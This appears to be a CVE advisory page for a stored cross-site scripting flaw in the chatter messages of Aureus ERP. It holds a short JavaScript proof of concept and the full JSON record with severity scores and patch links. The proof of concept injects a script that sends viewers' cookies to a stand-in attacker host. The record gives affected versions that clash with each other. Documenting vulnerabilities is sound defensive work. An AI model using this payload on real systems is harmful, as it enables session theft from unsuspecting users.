CVE-2026-4175

// CVE-2026-4175 XSS PoC for Aureus ERP // Target: Aureus ERP < 1.3.0-BETA1 // Component: Chatter Message Handler // Step 1: Identify vulnerable endpoint const targetUrl = "https://target-aureus-erp.com"; const messageEndpoint = "/chatter/messages/store"; // Step 2: Inject malicious XSS payload in message subject/body const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Step 3: Send crafted request with XSS payload fetch(targetUrl + messageEndpoint, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <user_token>' }, body: JSON.stringify({ subject: xssPayload, body: xssPayload, recipient_id: 'target_user_id' }) }); // Step 4: When victim views the message, XSS executes // Attacker receives victim's cookies via the fetch request

{"cve": {"id": "CVE-2026-4175", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:58.163", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Aureus ERP up to 1.3.0-BETA2. The affected element is an unknown function of the file plugins/webkul/chatter/resources/views/filament/infolists/components/messages/content-text-entry.blade.php of the component Chatter Message Handler. Executing a manipulation of the argument subject/body can lead to cross site scripting. The attack can be launched remotely. Upgrading to version 1.3.0-BETA1 is sufficient to fix this issue. This patch is called 2135ee7efff4090e70050b63015ab5e268760ec8. It is suggested to upgrade the affected component."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en Aureus ERP hasta la versión 1.3.0-BETA2. El elemento afectado es una función desconocida del archivo plugins/webkul/chatter/resources/views/filament/infolists/components/messages/content-text-entry.blade.php del componente Chatter Message Gestor. La ejecución de una manipulación del argumento subject/body puede conducir a cross-site scripting. El ataque puede lanzarse de forma remota. La actualización a la versión 1.3.0-BETA1 es suficiente para solucionar este problema. Este parche se llama 2135ee7efff4090e70050b63015ab5e268760ec8. Se sugiere actualizar el componente afectado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/aureuserp/aureuserp/commit/2135ee7efff4090e70050b63015ab5e268760ec8", "source": "[email protected]"}, {"url": "https://github.com/aureuserp/aureuserp/pull/939", "source": "[email protected]"}, {"url": "https://github.com/aureuserp/aureuserp/releases/tag/v1.3.0-BETA1", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351083", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351083", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.769827", "source": "[email protected]"}]}}